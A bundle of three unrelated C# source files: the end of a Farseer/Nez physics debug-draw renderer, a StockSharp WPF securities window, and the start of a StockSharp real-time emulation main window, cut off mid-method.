if( polygon != null )
{
FarseerPhysics.Common.Transform xf;
body.getTransform( out xf );
for( int i = 0; i < polygon.vertices.Count; i++ )
{
Vector2 tmp = MathUtils.mul( ref xf, polygon.vertices[i] );
drawPoint( tmp, 0.1f, Color.Red );
}
}
}
}
}
if( ( flags & DebugViewFlags.Joint ) == DebugViewFlags.Joint )
{
foreach( var j in world.jointList )
FSDebugView.drawJoint( this, j );
}
if( ( flags & DebugViewFlags.AABB ) == DebugViewFlags.AABB )
{
var color = new Color( 0.9f, 0.3f, 0.9f );
var bp = world.contactManager.broadPhase;
foreach( var body in world.bodyList )
{
if( body.enabled == false )
continue;
foreach( var f in body.fixtureList )
{
for( var t = 0; t < f.proxyCount; ++t )
{
var proxy = f.proxies[t];
AABB aabb;
bp.getFatAABB( proxy.proxyId, out aabb );
drawAABB( ref aabb, color );
}
}
}
}
if( ( flags & DebugViewFlags.CenterOfMass ) == DebugViewFlags.CenterOfMass )
{
foreach( Body b in world.bodyList )
{
FarseerPhysics.Common.Transform xf;
b.getTransform( out xf );
xf.p = b.worldCenter;
drawTransform( ref xf );
}
}
if( ( flags & DebugViewFlags.Controllers ) == DebugViewFlags.Controllers )
{
for( int i = 0; i < world.controllerList.Count; i++ )
{
Controller controller = world.controllerList[i];
var buoyancy = controller as BuoyancyController;
if( buoyancy != null )
{
AABB container = buoyancy.container;
drawAABB( ref container, Color.LightBlue );
}
}
}
if( ( flags & DebugViewFlags.DebugPanel ) == DebugViewFlags.DebugPanel )
drawDebugPanel();
}
void drawPerformanceGraph()
{
_graphValues.Add( world.updateTime / TimeSpan.TicksPerMillisecond );
if( _graphValues.Count > valuesToGraph + 1 )
_graphValues.RemoveAt( 0 );
float x = performancePanelBounds.X;
float deltaX = performancePanelBounds.Width / (float)valuesToGraph;
float yScale = performancePanelBounds.Bottom - (float)performancePanelBounds.Top;
// we must have at least 2 values to start rendering
if( _graphValues.Count > 2 )
{
_max = _graphValues.Max();
_avg = _graphValues.Average();
_min = _graphValues.Min();
if( adaptiveLimits )
{
maximumValue = _max;
minimumValue = 0;
}
// start at last value (newest value added)
// continue until no values are left
for( int i = _graphValues.Count - 1; i > 0; i-- )
{
float y1 = performancePanelBounds.Bottom - ( ( _graphValues[i] / ( maximumValue - minimumValue ) ) * yScale );
float y2 = performancePanelBounds.Bottom - ( ( _graphValues[i - 1] / ( maximumValue - minimumValue ) ) * yScale );
var x1 = new Vector2( MathHelper.Clamp( x, performancePanelBounds.Left, performancePanelBounds.Right ), MathHelper.Clamp( y1, performancePanelBounds.Top, performancePanelBounds.Bottom ) );
var x2 = new Vector2( MathHelper.Clamp( x + deltaX, performancePanelBounds.Left, performancePanelBounds.Right ), MathHelper.Clamp( y2, performancePanelBounds.Top, performancePanelBounds.Bottom ) );
drawSegment( FSConvert.toSimUnits( x1 ), FSConvert.toSimUnits( x2 ), Color.LightGreen );
x += deltaX;
}
}
drawString( performancePanelBounds.Right + 10, performancePanelBounds.Top, string.Format( "Max: {0} ms", _max ) );
drawString( performancePanelBounds.Right + 10, performancePanelBounds.Center.Y - 7, string.Format( "Avg: {0} ms", _avg ) );
drawString( performancePanelBounds.Right + 10, performancePanelBounds.Bottom - 15, string.Format( "Min: {0} ms", _min ) );
//Draw background.
_background[0] = new Vector2( performancePanelBounds.X, performancePanelBounds.Y );
_background[1] = new Vector2( performancePanelBounds.X, performancePanelBounds.Y + performancePanelBounds.Height );
_background[2] = new Vector2( performancePanelBounds.X + performancePanelBounds.Width, performancePanelBounds.Y + performancePanelBounds.Height );
_background[3] = new Vector2( performancePanelBounds.X + performancePanelBounds.Width, performancePanelBounds.Y );
_background[0] = FSConvert.toSimUnits( _background[0] );
_background[1] = FSConvert.toSimUnits( _background[1] );
_background[2] = FSConvert.toSimUnits( _background[2] );
_background[3] = FSConvert.toSimUnits( _background[3] );
drawSolidPolygon( _background, 4, Color.DarkGray, true );
}
void drawDebugPanel()
{
int fixtureCount = 0;
for( int i = 0; i < world.bodyList.Count; i++ )
fixtureCount += world.bodyList[i].fixtureList.Count;
var x = (int)debugPanelPosition.X;
var y = (int)debugPanelPosition.Y;
_debugPanelSb.Clear();
_debugPanelSb.AppendLine( "Objects:" );
_debugPanelSb.Append( "- Bodies: " ).AppendLine( world.bodyList.Count.ToString() );
_debugPanelSb.Append( "- Fixtures: " ).AppendLine( fixtureCount.ToString() );
_debugPanelSb.Append( "- Contacts: " ).AppendLine( world.contactList.Count.ToString() );
_debugPanelSb.Append( "- Joints: " ).AppendLine( world.jointList.Count.ToString() );
_debugPanelSb.Append( "- Controllers: " ).AppendLine( world.controllerList.Count.ToString() );
_debugPanelSb.Append( "- Proxies: " ).AppendLine( world.proxyCount.ToString() );
drawString( x, y, _debugPanelSb.ToString() );
_debugPanelSb.Clear();
_debugPanelSb.AppendLine( "Update time:" );
_debugPanelSb.Append( "- Body: " ).AppendLine( string.Format( "{0} ms", world.solveUpdateTime / TimeSpan.TicksPerMillisecond ) );
_debugPanelSb.Append( "- Contact: " ).AppendLine( string.Format( "{0} ms", world.contactsUpdateTime / TimeSpan.TicksPerMillisecond ) );
_debugPanelSb.Append( "- CCD: " ).AppendLine( string.Format( "{0} ms", world.continuousPhysicsTime / TimeSpan.TicksPerMillisecond ) );
_debugPanelSb.Append( "- Joint: " ).AppendLine( string.Format( "{0} ms", world.island.JointUpdateTime / TimeSpan.TicksPerMillisecond ) );
_debugPanelSb.Append( "- Controller: " ).AppendLine( string.Format( "{0} ms", world.controllersUpdateTime / TimeSpan.TicksPerMillisecond ) );
_debugPanelSb.Append( "- Total: " ).AppendLine( string.Format( "{0} ms", world.updateTime / TimeSpan.TicksPerMillisecond ) );
drawString( x + 110, y, _debugPanelSb.ToString() );
}
#region Drawing methods
public void drawAABB( ref AABB aabb, Color color )
{
Vector2[] verts = new Vector2[4];
verts[0] = new Vector2( aabb.lowerBound.X, aabb.lowerBound.Y );
verts[1] = new Vector2( aabb.upperBound.X, aabb.lowerBound.Y );
verts[2] = new Vector2( aabb.upperBound.X, aabb.upperBound.Y );
verts[3] = new Vector2( aabb.lowerBound.X, aabb.upperBound.Y );
drawPolygon( verts, 4, color );
}
static void drawJoint( FSDebugView instance, Joint joint )
{
if( !joint.enabled )
return;
var b1 = joint.bodyA;
var b2 = joint.bodyB;
FarseerPhysics.Common.Transform xf1;
b1.getTransform( out xf1 );
var x2 = Vector2.Zero;
if( b2 != null || !joint.isFixedType() )
{
FarseerPhysics.Common.Transform xf2;
b2.getTransform( out xf2 );
x2 = xf2.p;
}
var p1 = joint.worldAnchorA;
var p2 = joint.worldAnchorB;
var x1 = xf1.p;
var color = new Color( 0.5f, 0.8f, 0.8f );
switch( joint.jointType )
{
case JointType.Distance:
{
instance.drawSegment( p1, p2, color );
break;
}
case JointType.Pulley:
{
var pulley = (PulleyJoint)joint;
var s1 = b1.getWorldPoint( pulley.localAnchorA );
var s2 = b2.getWorldPoint( pulley.localAnchorB );
instance.drawSegment( p1, p2, color );
instance.drawSegment( p1, s1, color );
instance.drawSegment( p2, s2, color );
break;
}
case JointType.FixedMouse:
{
instance.drawPoint( p1, 0.2f, new Color( 0.0f, 1.0f, 0.0f ) );
instance.drawSegment( p1, p2, new Color( 0.8f, 0.8f, 0.8f ) );
break;
}
case JointType.Revolute:
{
instance.drawSegment( x1, p1, color );
instance.drawSegment( p1, p2, color );
instance.drawSegment( x2, p2, color );
instance.drawSolidCircle( p2, 0.1f, Vector2.Zero, Color.Red );
instance.drawSolidCircle( p1, 0.1f, Vector2.Zero, Color.Blue );
break;
}
case JointType.Gear:
{
instance.drawSegment( x1, x2, color );
break;
}
default:
{
instance.drawSegment( x1, p1, color );
instance.drawSegment( p1, p2, color );
instance.drawSegment( x2, p2, color );
break;
}
}
}
public void drawShape( Fixture fixture, FarseerPhysics.Common.Transform xf, Color color )
{
switch( fixture.shape.shapeType )
{
case ShapeType.Circle:
{
var circle = (CircleShape)fixture.shape;
Vector2 center = MathUtils.mul( ref xf, circle.position );
float radius = circle.radius;
Vector2 axis = MathUtils.mul( xf.q, new Vector2( 1.0f, 0.0f ) );
drawSolidCircle( center, radius, axis, color );
}
break;
case ShapeType.Polygon:
{
var poly = (PolygonShape)fixture.shape;
int vertexCount = poly.vertices.Count;
System.Diagnostics.Debug.Assert( vertexCount <= Settings.maxPolygonVertices );
if( vertexCount > _tempVertices.Length )
_tempVertices = new Vector2[vertexCount];
for( int i = 0; i < vertexCount; ++i )
{
_tempVertices[i] = MathUtils.mul( ref xf, poly.vertices[i] );
}
drawSolidPolygon( _tempVertices, vertexCount, color );
}
break;
case ShapeType.Edge:
{
var edge = (EdgeShape)fixture.shape;
var v1 = MathUtils.mul( ref xf, edge.vertex1 );
var v2 = MathUtils.mul( ref xf, edge.vertex2 );
drawSegment( v1, v2, color );
}
break;
case ShapeType.Chain:
{
var chain = (ChainShape)fixture.shape;
for( int i = 0; i < chain.vertices.Count - 1; ++i )
{
var v1 = MathUtils.mul( ref xf, chain.vertices[i] );
var v2 = MathUtils.mul( ref xf, chain.vertices[i + 1] );
drawSegment( v1, v2, color );
}
}
break;
}
}
public void drawPolygon( Vector2[] vertices, int count, float red, float green, float blue, bool closed = true )
{
drawPolygon( vertices, count, new Color( red, green, blue ), closed );
}
public void drawPolygon( Vector2[] vertices, int count, Color color, bool closed = true )
{
for( int i = 0; i < count - 1; i++ )
{
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( vertices[i] ), color, PrimitiveType.LineList );
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( vertices[i + 1] ), color, PrimitiveType.LineList );
}
if( closed )
{
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( vertices[count - 1] ), color, PrimitiveType.LineList );
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( vertices[0] ), color, PrimitiveType.LineList );
}
}
public void drawSolidPolygon( Vector2[] vertices, int count, float red, float green, float blue )
{
drawSolidPolygon( vertices, count, new Color( red, green, blue ) );
}
public void drawSolidPolygon( Vector2[] vertices, int count, Color color, bool outline = true )
{
if( count == 2 )
{
drawPolygon( vertices, count, color );
return;
}
var colorFill = color * ( outline ? 0.5f : 1.0f );
for( int i = 1; i < count - 1; i++ )
{
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( vertices[0] ), colorFill, PrimitiveType.TriangleList );
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( vertices[i] ), colorFill, PrimitiveType.TriangleList );
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( vertices[i + 1] ), colorFill, PrimitiveType.TriangleList );
}
if( outline )
drawPolygon( vertices, count, color );
}
public void drawCircle( Vector2 center, float radius, float red, float green, float blue )
{
drawCircle( center, radius, new Color( red, green, blue ) );
}
public void drawCircle( Vector2 center, float radius, Color color )
{
const double increment = Math.PI * 2.0 / circleSegments;
double theta = 0.0;
for( int i = 0; i < circleSegments; i++ )
{
Vector2 v1 = center + radius * new Vector2( (float)Math.Cos( theta ), (float)Math.Sin( theta ) );
Vector2 v2 = center + radius * new Vector2( (float)Math.Cos( theta + increment ), (float)Math.Sin( theta + increment ) );
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( v1 ), color, PrimitiveType.LineList );
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( v2 ), color, PrimitiveType.LineList );
theta += increment;
}
}
public void drawSolidCircle( Vector2 center, float radius, Vector2 axis, float red, float green, float blue )
{
drawSolidCircle( center, radius, axis, new Color( red, green, blue ) );
}
public void drawSolidCircle( Vector2 center, float radius, Vector2 axis, Color color )
{
const double increment = Math.PI * 2.0 / circleSegments;
double theta = 0.0;
Color colorFill = color * 0.5f;
Vector2 v0 = center + radius * new Vector2( (float)Math.Cos( theta ), (float)Math.Sin( theta ) );
FSConvert.toDisplayUnits( ref v0, out v0 );
theta += increment;
for( int i = 1; i < circleSegments - 1; i++ )
{
Vector2 v1 = center + radius * new Vector2( (float)Math.Cos( theta ), (float)Math.Sin( theta ) );
Vector2 v2 = center + radius * new Vector2( (float)Math.Cos( theta + increment ), (float)Math.Sin( theta + increment ) );
_primitiveBatch.addVertex( v0, colorFill, PrimitiveType.TriangleList );
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( v1 ), colorFill, PrimitiveType.TriangleList );
_primitiveBatch.addVertex( FSConvert.toDisplayUnits( v2 ), colorFill, PrimitiveType.TriangleList );
theta += increment;
}
drawCircle( center, radius, color );
drawSegment( center, center + axis * radius, color );
}
public void drawSegment( Vector2 start, Vector2 end, float red, float green, float blue )
{
drawSegment( start, end, new Color( red, green, blue ) );
}
public void drawSegment( Vector2 start, Vector2 end, Color color )
{
start = FSConvert.toDisplayUnits( start );
end = FSConvert.toDisplayUnits( end );
_primitiveBatch.addVertex( start, color, PrimitiveType.LineList );
_primitiveBatch.addVertex( end, color, PrimitiveType.LineList );
}
public void drawTransform( ref FarseerPhysics.Common.Transform transform )
{
const float axisScale = 0.4f;
Vector2 p1 = transform.p;
Vector2 p2 = p1 + axisScale * transform.q.GetXAxis();
drawSegment( p1, p2, Color.Red );
p2 = p1 + axisScale * transform.q.GetYAxis();
drawSegment( p1, p2, Color.Green );
}
public void drawPoint( Vector2 p, float size, Color color )
{
Vector2[] verts = new Vector2[4];
float hs = size / 2.0f;
verts[0] = p + new Vector2( -hs, -hs );
verts[1] = p + new Vector2( hs, -hs );
verts[2] = p + new Vector2( hs, hs );
verts[3] = p + new Vector2( -hs, hs );
drawSolidPolygon( verts, 4, color, true );
}
public void drawString( int x, int y, string text )
{
drawString( new Vector2( x, y ), text );
}
public void drawString( Vector2 position, string text )
{
_stringData.Add( new StringData( position, text, textColor ) );
}
public void drawArrow( Vector2 start, Vector2 end, float length, float width, bool drawStartIndicator, Color color )
{
// Draw connection segment between start- and end-point
drawSegment( start, end, color );
// Precalculate halfwidth
var halfWidth = width / 2;
// Create directional reference
var rotation = ( start - end );
Nez.Vector2Ext.normalize( ref rotation );
// Calculate angle of directional vector
var angle = (float)Math.Atan2( rotation.X, -rotation.Y );
// Create matrix for rotation
var rotMatrix = Matrix.CreateRotationZ( angle );
// Create translation matrix for end-point
var endMatrix = Matrix.CreateTranslation( end.X, end.Y, 0 );
// Setup arrow end shape
var verts = new Vector2[3];
verts[0] = new Vector2( 0, 0 );
verts[1] = new Vector2( -halfWidth, -length );
verts[2] = new Vector2( halfWidth, -length );
// Rotate end shape
Vector2.Transform( verts, ref rotMatrix, verts );
// Translate end shape
Vector2.Transform( verts, ref endMatrix, verts );
// Draw arrow end shape
drawSolidPolygon( verts, 3, color, false );
if( drawStartIndicator )
{
// Create translation matrix for start
var startMatrix = Matrix.CreateTranslation( start.X, start.Y, 0 );
// Setup arrow start shape
var baseVerts = new Vector2[4];
baseVerts[0] = new Vector2( -halfWidth, length / 4 );
baseVerts[1] = new Vector2( halfWidth, length / 4 );
baseVerts[2] = new Vector2( halfWidth, 0 );
baseVerts[3] = new Vector2( -halfWidth, 0 );
// Rotate start shape
Vector2.Transform( baseVerts, ref rotMatrix, baseVerts );
// Translate start shape
Vector2.Transform( baseVerts, ref startMatrix, baseVerts );
// Draw start shape
drawSolidPolygon( baseVerts, 4, color, false );
}
}
#endregion
public void beginCustomDraw()
{
_primitiveBatch.begin( entity.scene.camera.projectionMatrix, entity.scene.camera.transformMatrix );
}
public void endCustomDraw()
{
_primitiveBatch.end();
}
public override void render( Graphics graphics, Camera camera )
{
// nothing is enabled - don't draw the debug view.
if( flags == 0 )
return;
Core.graphicsDevice.RasterizerState = RasterizerState.CullNone;
Core.graphicsDevice.DepthStencilState = DepthStencilState.Default;
_primitiveBatch.begin( camera.projectionMatrix, camera.transformMatrix );
drawDebugData();
_primitiveBatch.end();
if( ( flags & DebugViewFlags.PerformanceGraph ) == DebugViewFlags.PerformanceGraph )
{
_primitiveBatch.begin( ref _localProjection, ref _localView );
drawPerformanceGraph();
_primitiveBatch.end();
}
// draw any strings we have
for( int i = 0; i < _stringData.Count; i++ )
graphics.batcher.drawString( graphics.bitmapFont, _stringData[i].text, _stringData[i].position, _stringData[i].color );
_stringData.Clear();
}
#region Nested types
[Flags]
public enum DebugViewFlags
{
/// <summary>
/// Draw shapes.
/// </summary>
Shape = ( 1 << 0 ),
/// <summary>
/// Draw joint connections.
/// </summary>
Joint = ( 1 << 1 ),
/// <summary>
/// Draw axis aligned bounding boxes.
/// </summary>
AABB = ( 1 << 2 ),
// Draw broad-phase pairs.
//Pair = (1 << 3),
/// <summary>
/// Draw center of mass frame.
/// </summary>
CenterOfMass = ( 1 << 4 ),
/// <summary>
/// Draw useful debug data such as timings and number of bodies, joints, contacts and more.
/// </summary>
DebugPanel = ( 1 << 5 ),
/// <summary>
/// Draw contact points between colliding bodies.
/// </summary>
ContactPoints = ( 1 << 6 ),
/// <summary>
/// Draw contact normals. Need ContactPoints to be enabled first.
/// </summary>
ContactNormals = ( 1 << 7 ),
/// <summary>
/// Draws the vertices of polygons.
/// </summary>
PolygonPoints = ( 1 << 8 ),
/// <summary>
/// Draws the performance graph.
/// </summary>
PerformanceGraph = ( 1 << 9 ),
/// <summary>
/// Draws controllers.
/// </summary>
Controllers = ( 1 << 10 )
}
struct ContactPoint
{
public Vector2 normal;
public Vector2 position;
public PointState state;
}
struct StringData
{
public Color color;
public string text;
public Vector2 position;
public StringData( Vector2 position, string text, Color color )
{
this.position = position;
this.text = text;
this.color = color;
}
}
#endregion
}
}
| |
#region S# License
/******************************************************************************************
NOTICE!!! This program and source code is owned and licensed by
StockSharp, LLC, www.stocksharp.com
Viewing or use of this code requires your acceptance of the license
agreement found at https://github.com/StockSharp/StockSharp/blob/master/LICENSE
Removal of this comment is a violation of the license agreement.
Project: SampleBlackwood.SampleBlackwoodPublic
File: SecuritiesWindow.xaml.cs
Created: 2015, 11, 11, 2:32 PM
Copyright 2010 by StockSharp, LLC
*******************************************************************************************/
#endregion S# License
namespace SampleBlackwood
{
using System;
using System.Collections.Generic;
using System.Windows;
using System.Windows.Controls;
using Ecng.Collections;
using Ecng.Xaml;
using MoreLinq;
using StockSharp.Algo.Candles;
using StockSharp.BusinessEntities;
using StockSharp.Messages;
using StockSharp.Xaml;
using StockSharp.Localization;
public partial class SecuritiesWindow
{
private readonly SynchronizedDictionary<string, Level1Window> _level1Windows = new SynchronizedDictionary<string, Level1Window>(StringComparer.InvariantCultureIgnoreCase);
private readonly SynchronizedDictionary<Security, QuotesWindow> _quotesWindows = new SynchronizedDictionary<Security, QuotesWindow>();
private bool _initialized;
public SecuritiesWindow()
{
InitializeComponent();
CandlesPeriods.ItemsSource = new[]
{
TimeSpan.FromTicks(1),
TimeSpan.FromMinutes(1),
TimeSpan.FromMinutes(5),
//TimeSpan.FromMinutes(30),
TimeSpan.FromHours(1),
TimeSpan.FromDays(1),
TimeSpan.FromDays(7),
TimeSpan.FromDays(30)
};
CandlesPeriods.SelectedIndex = 1;
}
protected override void OnClosed(EventArgs e)
{
var trader = MainWindow.Instance.Trader;
if (trader != null)
{
if (_initialized)
trader.MarketDepthsChanged -= TraderOnMarketDepthsChanged;
_quotesWindows.SyncDo(d =>
{
foreach (var pair in d)
{
trader.UnRegisterMarketDepth(pair.Key);
pair.Value.DeleteHideable();
pair.Value.Close();
}
});
trader.RegisteredSecurities.ForEach(trader.UnRegisterSecurity);
trader.RegisteredTrades.ForEach(trader.UnRegisterTrades);
}
base.OnClosed(e);
}
private void NewOrderClick(object sender, RoutedEventArgs e)
{
var newOrder = new OrderWindow
{
Order = new Order { Security = SecurityPicker.SelectedSecurity },
SecurityProvider = MainWindow.Instance.Trader,
MarketDataProvider = MainWindow.Instance.Trader,
Portfolios = new PortfolioDataSource(MainWindow.Instance.Trader),
};
if (newOrder.ShowModal(this))
MainWindow.Instance.Trader.RegisterOrder(newOrder.Order);
}
private void SecurityPicker_OnSecuritySelected(Security security)
{
Level1.IsEnabled = NewStopOrder.IsEnabled = NewOrder.IsEnabled = Level2.IsEnabled = Depth.IsEnabled = security != null;
TryEnableCandles();
}
private void NewStopOrderClick(object sender, RoutedEventArgs e)
{
var newOrder = new OrderConditionalWindow
{
Order = new Order
{
Security = SecurityPicker.SelectedSecurity,
Type = OrderTypes.Conditional,
},
SecurityProvider = MainWindow.Instance.Trader,
MarketDataProvider = MainWindow.Instance.Trader,
Portfolios = new PortfolioDataSource(MainWindow.Instance.Trader),
Adapter = MainWindow.Instance.Trader.TransactionAdapter
};
if (newOrder.ShowModal(this))
MainWindow.Instance.Trader.RegisterOrder(newOrder.Order);
}
private void ShowLevel1()
{
var window = _level1Windows.SafeAdd(SecurityPicker.SelectedSecurity.Code, security =>
{
// create level1 window
var wnd = new Level1Window { Title = security + LocalizedStrings.Str3693 };
wnd.MakeHideable();
return wnd;
});
if (window.Visibility != Visibility.Visible)
window.Show();
if (!_initialized)
{
MainWindow.Instance.Trader.NewMessage += TraderOnNewMessage;
_initialized = true;
}
}
private void TraderOnNewMessage(Message msg)
{
if (msg.Type != MessageTypes.Level1Change)
return;
var level1Msg = (Level1ChangeMessage)msg;
var wnd = _level1Windows.TryGetValue(level1Msg.SecurityId.SecurityCode);
if (wnd != null)
wnd.Level1Grid.Messages.Add(level1Msg);
}
private void Level2Click(object sender, RoutedEventArgs e)
{
ShowLevel1();
// subscribe on order book flow
MainWindow.Instance.Trader.RegisterMarketDepth(SecurityPicker.SelectedSecurity);
}
private void Level1Click(object sender, RoutedEventArgs e)
{
ShowLevel1();
var security = SecurityPicker.SelectedSecurity;
var trader = MainWindow.Instance.Trader;
// subscribe on level1 and tick data flow
trader.RegisterSecurity(security);
trader.RegisterTrades(security);
//if (_bidAskSecurities.Contains(security))
//{
// // unsubscribe from level1 and tick data flow
// trader.UnRegisterSecurity(security);
// trader.UnRegisterTrades(security);
// _bidAskSecurities.Remove(security);
//}
//else
//{
// // subscribe on level1 and tick data flow
// trader.RegisterSecurity(security);
// trader.RegisterTrades(security);
// _bidAskSecurities.Add(security);
//}
}
private void FindClick(object sender, RoutedEventArgs e)
{
new FindSecurityWindow().ShowModal(this);
}
private void CandlesClick(object sender, RoutedEventArgs e)
{
var tf = (TimeSpan)CandlesPeriods.SelectedItem;
var series = new CandleSeries(typeof(TimeFrameCandle), SecurityPicker.SelectedSecurity, tf);
new ChartWindow(series, tf.Ticks == 1 ? DateTime.Today : DateTime.Now.Subtract(TimeSpan.FromTicks(tf.Ticks * 100)), DateTime.Now).Show();
}
private void CandlesPeriods_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
TryEnableCandles();
}
private void TryEnableCandles()
{
Candles.IsEnabled = CandlesPeriods.SelectedItem != null && SecurityPicker.SelectedSecurity != null;
}
private void DepthClick(object sender, RoutedEventArgs e)
{
var trader = MainWindow.Instance.Trader;
var window = _quotesWindows.SafeAdd(SecurityPicker.SelectedSecurity, security =>
{
// create order book window
var wnd = new QuotesWindow { Title = security.Id + " " + LocalizedStrings.MarketDepth };
wnd.MakeHideable();
return wnd;
});
if (window.Visibility == Visibility.Visible)
window.Hide();
else
window.Show();
if (!_initialized)
{
TraderOnMarketDepthsChanged(new[] { trader.GetMarketDepth(SecurityPicker.SelectedSecurity) });
trader.MarketDepthsChanged += TraderOnMarketDepthsChanged;
_initialized = true;
}
}
private void TraderOnMarketDepthsChanged(IEnumerable<MarketDepth> depths)
{
foreach (var depth in depths)
{
var wnd = _quotesWindows.TryGetValue(depth.Security);
if (wnd != null)
wnd.DepthCtrl.UpdateDepth(depth);
}
}
}
}
| |
#region S# License
/******************************************************************************************
NOTICE!!! This program and source code is owned and licensed by
StockSharp, LLC, www.stocksharp.com
Viewing or use of this code requires your acceptance of the license
agreement found at https://github.com/StockSharp/StockSharp/blob/master/LICENSE
Removal of this comment is a violation of the license agreement.
Project: SampleRealTimeEmulation.SampleRealTimeEmulationPublic
File: MainWindow.xaml.cs
Created: 2015, 11, 11, 2:32 PM
Copyright 2010 by StockSharp, LLC
*******************************************************************************************/
#endregion S# License
namespace SampleRealTimeEmulation
{
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Security;
using System.Windows;
using Ecng.Collections;
using Ecng.Common;
using Ecng.Serialization;
using Ecng.Xaml;
using MoreLinq;
using StockSharp.Algo;
using StockSharp.Algo.Candles;
using StockSharp.Algo.Testing;
using StockSharp.BusinessEntities;
using StockSharp.IQFeed;
using StockSharp.Localization;
using StockSharp.Logging;
using StockSharp.Messages;
using StockSharp.SmartCom;
using StockSharp.Xaml;
using StockSharp.Xaml.Charting;
public partial class MainWindow
{
private readonly SynchronizedList<Candle> _buffer = new SynchronizedList<Candle>();
private readonly ChartCandleElement _candlesElem;
private readonly LogManager _logManager;
private CandleManager _candleManager;
private CandleSeries _candleSeries;
private RealTimeEmulationTrader<IMessageAdapter> _connector;
private bool _isConnected;
private Security _security;
private CandleSeries _tempCandleSeries; // used to determine if chart settings have changed and new chart is needed
public MainWindow()
{
InitializeComponent();
CandleSettingsEditor.SettingsChanged += CandleSettingsChanged;
_logManager = new LogManager();
_logManager.Listeners.Add(new GuiLogListener(Log));
var area = new ChartArea();
Chart.Areas.Add(area);
_candlesElem = new ChartCandleElement();
area.Elements.Add(_candlesElem);
GuiDispatcher.GlobalDispatcher.AddPeriodicalAction(ProcessCandles);
Level1AddressCtrl.Text = IQFeedAddresses.DefaultLevel1Address.To<string>();
Level2AddressCtrl.Text = IQFeedAddresses.DefaultLevel2Address.To<string>();
LookupAddressCtrl.Text = IQFeedAddresses.DefaultLookupAddress.To<string>();
}
private void CandleSettingsChanged()
{
if (_tempCandleSeries == CandleSettingsEditor.Settings || _candleSeries == null)
return;
_tempCandleSeries = CandleSettingsEditor.Settings.Clone();
SecurityPicker_OnSecuritySelected(SecurityPicker.SelectedSecurity);
}
protected override void OnClosing(CancelEventArgs e)
{
if (_connector != null)
_connector.Dispose();
base.OnClosing(e);
}
private void ConnectClick(object sender, RoutedEventArgs e)
{
if (!_isConnected)
{
if (_connector == null)
{
if (SmartCom.IsChecked == true)
{
if (Login.Text.IsEmpty())
{
MessageBox.Show(this, LocalizedStrings.Str2974);
return;
}
if (Password.Password.IsEmpty())
{
MessageBox.Show(this, LocalizedStrings.Str2975);
return;
}
// create real-time emu connector
_connector = new RealTimeEmulationTrader<IMessageAdapter>(new SmartComMessageAdapter(new MillisecondIncrementalIdGenerator()) { Login = Login.Text, Password = Password.Password.To<SecureString>(), Address = Address.SelectedAddress });
_connector.EmulationAdapter.Emulator.Settings.TimeZone = TimeHelper.Moscow;
}
else
{
// create real-time emu connector
_connector = new RealTimeEmulationTrader<IMessageAdapter>(new IQFeedMarketDataMessageAdapter(new MillisecondIncrementalIdGenerator())
{
Level1Address = Level1AddressCtrl.Text.To<EndPoint>(),
Level2Address = Level2AddressCtrl.Text.To<EndPoint>(),
LookupAddress = LookupAddressCtrl.Text.To<EndPoint>()
});
_connector.EmulationAdapter.Emulator.Settings.TimeZone = TimeHelper.Est;
}
_connector.EmulationAdapter.Emulator.Settings.ConvertTime = true;
SecurityPicker.SecurityProvider = new FilterableSecurityProvider(_connector);
_candleManager = new CandleManager(_connector);
_logManager.Sources.Add(_connector);
// clear password for security reason
//Password.Clear();
// subscribe on connection successfully event
_connector.Connected += () =>
{
// update gui labels
this.GuiAsync(() => { ChangeConnectStatus(true); });
};
// subscribe on disconnection event
_connector.Disconnected += () =>
{
// update gui labels
this.GuiAsync(() => { ChangeConnectStatus(false); });
};
// subscribe on connection error event
_connector.ConnectionError += error => this.GuiAsync(() =>
{
// update gui labels
ChangeConnectStatus(false);
MessageBox.Show(this, error.ToString(), LocalizedStrings.Str2959);
});
_connector.NewMarketDepths += OnDepths;
_connector.MarketDepthsChanged += OnDepths;
_connector.NewPortfolios += PortfolioGrid.Portfolios.AddRange;
_connector.NewPositions += PortfolioGrid.Positions.AddRange;
_connector.NewOrders += OrderGrid.Orders.AddRange;
_connector.NewMyTrades += TradeGrid.Trades.AddRange;
// subscribe on error of order registration event
_connector.OrdersRegisterFailed += OrdersFailed;
_candleManager.Processing += (s, candle) =>
{
if (candle.State == CandleStates.Finished)
_buffer.Add(candle);
};
_connector.MassOrderCancelFailed += (transId, error) =>
this.GuiAsync(() => MessageBox.Show(this, error.ToString(), LocalizedStrings.Str716));
// subscribe on error event
_connector.Error += error =>
this.GuiAsync(() => MessageBox.Show(this, error.ToString(), LocalizedStrings.Str2955));
// subscribe on error of market data subscription event
_connector.MarketDataSubscriptionFailed += (security, msg, error) =>
this.GuiAsync(() => MessageBox.Show(this, error.ToString(), LocalizedStrings.Str2956Params.Put(msg.DataType, security)));
}
ConnectBtn.IsEnabled = false;
_connector.Connect();
}
else
_connector.Disconnect();
}
private void OnDepths(IEnumerable<MarketDepth> depths)
{
if (_security == null)
return;
var depth = depths.FirstOrDefault(d => d.Security == _security);
if (depth == null)
return;
DepthControl.UpdateDepth(depth);
}
private void OrdersFailed(IEnumerable<OrderFail> fails)
{
this.GuiAsync(() =>
{
foreach (var fail in fails)
MessageBox.Show(this, fail.Error.ToString(), LocalizedStrings.Str153);
});
}
private void ChangeConnectStatus(bool isConnected)
{
// set flag (connection is established or not)
_isConnected = isConnected;
ConnectBtn.Content = isConnected ? LocalizedStrings.Disconnect : LocalizedStrings.Connect;
ConnectBtn.IsEnabled = true;
Find.IsEnabled = _isConnected;
}
private void ProcessCandles()
{
foreach (var candle in _buffer.SyncGet(c => c.CopyAndClear()))
Chart.Draw(_candlesElem, candle);
}
private void SecurityPicker_OnSecuritySelected(Security security)
{
if (security == null)
return;
if (_candleSeries != null)
_candleManager.Stop(_candleSeries); // give back series memory
_security = security;
Chart.Reset(new[] { _candlesElem });
_connector.RegisterMarketDepth(security);
_connector.RegisterTrades(security);
